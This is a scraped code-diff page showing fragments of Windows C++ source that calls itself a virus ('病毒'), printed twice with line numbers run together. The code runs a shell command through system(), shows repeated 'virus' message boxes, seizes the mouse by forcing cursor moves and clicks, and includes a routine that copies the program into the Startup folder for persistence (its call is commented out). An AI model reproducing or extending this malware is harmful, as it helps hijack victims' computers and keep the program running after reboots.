正文
增加 7 行删除 7 行
26 行未改动2728293031323334353637383940414243444546474849505152535455565758596061626364656626 行未改动system(cmdCommand);MessageBox(NULL, "666666病毒", "病毒", MB_OKCANCEL|MB_ICONERROR);MessageBox(NULL, "666666病毒", "病毒", MB_OKCANCEL|MB_ICONWARNING);MessageBox(NULL, "666666病毒", "病毒", MB_OKCANCEL|MB_ICONINFORMATION);SetCursorPos(posX2,posY2);MouseClick(posX2,posY2);Sleep(1);}}void MouseControl() {FixMousePosition();}bool AddToStartupFolder(const char* programPath, const char* programName) {char startupPath[MAX_PATH];if (!SHGetSpecialFolderPathA(NULL, startupPath, CSIDL_STARTUP, TRUE)) {return false;}char destPath[MAX_PATH];sprintf(destPath, "%s\\%s", startupPath, programName);return CopyFileA(programPath, destPath, FALSE);}signed main(){char programPath[MAX_PATH];GetModuleFileNameA(NULL, programPath, MAX_PATH);// 选择其中一种方式即可// if (AddToStartupFolder(programPath, "病毒czx6666.exe")) {// std::cout << "成功添加到启动文件夹" << std::endl;// } else {// std::cout << "添加到启动文件夹失败" << std::endl;// }MouseControl();return 0;}```26 行未改动2728293031323334353637383940414243444546474849505152535455565758596061626364656626 行未改动system(cmdCommand);MessageBox(NULL, "666666病毒", "病毒", MB_OKCANCEL|MB_ICONERROR);MessageBox(NULL, "666666病毒", "病毒", MB_OKCANCEL|MB_ICONWARNING);MessageBox(NULL, "666666病毒", "病毒", MB_OKCANCEL|MB_ICONINFORMATION);SetCursorPos(posX2,posY2);MouseClick(posX2,posY2);Sleep(1);}}void MouseControl() {FixMousePosition();}bool AddToStartupFolder(const char* programPath, const char* programName) {char startupPath[MAX_PATH];if (!SHGetSpecialFolderPathA(NULL, startupPath, CSIDL_STARTUP, TRUE)) {return false;}char destPath[MAX_PATH];sprintf(destPath, "%s\\%s", startupPath, programName);return CopyFileA(programPath, destPath, FALSE);}signed main(){char programPath[MAX_PATH];GetModuleFileNameA(NULL, programPath, MAX_PATH);// 选择其中一种方式即可// if (AddToStartupFolder(programPath, "病毒czx6666.exe")) {// std::cout << "成功添加到启动文件夹" << std::endl;// } else {// std::cout << "添加到启动文件夹失败" << std::endl;// }MouseControl();return 0;}```